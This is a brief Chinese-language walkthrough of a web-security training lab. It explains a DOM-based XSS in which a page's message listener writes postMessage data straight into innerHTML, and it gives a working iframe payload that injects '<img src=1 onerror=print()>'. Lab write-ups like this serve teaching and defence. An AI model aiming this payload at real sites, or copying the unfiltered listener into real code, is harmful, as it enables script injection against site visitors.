# DOM-based Lab1 這題只需要一個簡單的 iframe + postMessage() 組合,來觸發目標網頁的 DOM XSS。 所以一樣先進入網站。 ![image](https://hackmd.io/_uploads/SyuLgW0Vxg.png) 可以在原始碼發現下列線索: ```html <script> window.addEventListener('message', function(e) { document.getElementById('ads').innerHTML = e.data; }) </script> ``` 這代表: - 網站會監聽別人送來的 postMessage。 - 把收到的內容 直接丟進 innerHTML,不做任何過濾。 所以就用 Exploit Server 發送一個 跨站 iframe,對目標網站發出惡意訊息。 ```html <iframe src="https://0a0d00ca03d0410381b957af00c00072.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')"></iframe> ``` - Victim(受害者)打開這個 exploit 頁面。 - 這個 iframe 載入目標網站(/ 首頁)。 - onload 觸發後,用 postMessage() 傳出一段惡意 HTML 給目標網頁。 - 目標網站收到訊息後傻傻地把它放進 innerHTML 裡。 ``` document.getElementById('ads').innerHTML = e.data; ``` - `<img src=1 onerror=print()>` 執行,觸發 JS。 成功執行 print(),過關! ![image](https://hackmd.io/_uploads/SJiIQ-CVel.png)